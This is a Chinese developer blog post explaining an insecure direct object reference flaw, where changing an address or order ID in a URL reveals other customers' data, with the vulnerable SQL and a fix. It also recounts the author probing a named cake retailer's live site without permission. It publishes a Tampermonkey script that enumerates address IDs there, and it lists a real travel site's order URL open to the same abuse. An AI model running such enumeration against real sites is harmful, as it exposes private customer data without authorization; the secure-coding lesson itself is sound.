那些年我们踩的坑,依然有人在踩坑
去年公司南山接了一个大单,由于项目没有类似的借鉴完全要靠自己摸索,然后是做一版感觉不行又要调整,反反复复修改,然后新功能又要开发,一时一个人根本忙不过来,非常头痛,为工作更方便干脆安营扎山寨在客户那边,边开发边讨论解决方案,每天都是半夜才回到家。但是由于新功能要开发,旧的版面也在做调整,然后也有些许bug要修补,一个人工作量太大了,一边客户要求进度快,所以很多细节就忽略了,但也这样埋下了安全隐患。工作持续三个月左右,终于是要开发完成了,心中甚是高兴,终于一个项目又要完成了。但也这个时候,客户找一个专业测试员,专门测试系统的漏洞,之前埋下的祸根就显现出来了,一下找到7、8个漏洞,其中包括在线支付,客户信息的安全等。
举个栗子客户信息是怎么不安全的
在查询用户信息的时候使用sql
select top 1 * from addr where id=地址id
在正常情况下,这个是肯定是没有问题的,用户的地址id是唯一。但是呢,如果在web网站下,使用get请求去获取,用户随便修改一个id,那么可能是获取到别的客户的信息了,这时候其他客户的信息严重泄露了。
如web地址get地址是/user/deliveryAddress/55,用户输入的是/user/deliveryAddress/56
所似我们正确做法是,从当前登录的session中获取用户id,同时使用用户id和地址id对比,这样才不会出错。
select top 1 * from addr where id=地址id and userid=用户id
确保此地址的信息是当前用户的
这种错误是不是只我才犯过呢?其实不然
前几天某蛋糕被曝不是当天新鲜制作,内部管理乱得一塌糊涂,其实之前也在他们家买过蛋糕,于是好奇去了他们官网看一下,无意中发现在用户修改地址信息的时候也是用户我之前的方式获取信息/user/deliveryAddress/id 。
做为一个it,之前我就犯过这种错误,好奇之下,我随便修改了一个地址id,果然地址信息改变了,看到其他用户的信息。后来为了验证,我在tampermonkey上写一个循环
// ==UserScript== // @name xfxb // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author You // @match https://www.xfxb.net/* // @require http://code.jquery.com/jquery-1.11.0.min.js // @grant none // ==/UserScript== (function() { 'use strict'; for(var i=1000;i<1005;i++){ $.get("/user/deliveryAddress/"+i, function(result){ console.log(result); }); } // Your code here... })();
出现了以下信息
轻松拿到其他用户的地址信息,看来其他人也同样会犯这种错误。
@某蛋糕网站的It,你的漏洞了该修复了
记录踩过的坑,希望其他人少踩到相同的坑,并且能在CNBLOGS这找到解决办法
######################################################### 分割线 2018/12/9 ###############################################################################
持续更新
6人游旅行网 手机版
随便登录一个帐号
登录页面:http://m.6renyou.com/member/
打开订单页面:
http://m.6renyou.com/ordercext/getTripList?id=246039&t=
修改订单id更可以查看其他人订单信息
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 没有源码,如何修改代码逻辑?
· 一个奇形怪状的面试题:Bean中的CHM要不要加volatile?
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· .NET Core 托管堆内存泄露/CPU异常的常见思路
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 没有源码,如何修改代码逻辑?
· NetPad:一个.NET开源、跨平台的C#编辑器
· PowerShell开发游戏 · 打蜜蜂
· 在鹅厂做java开发是什么体验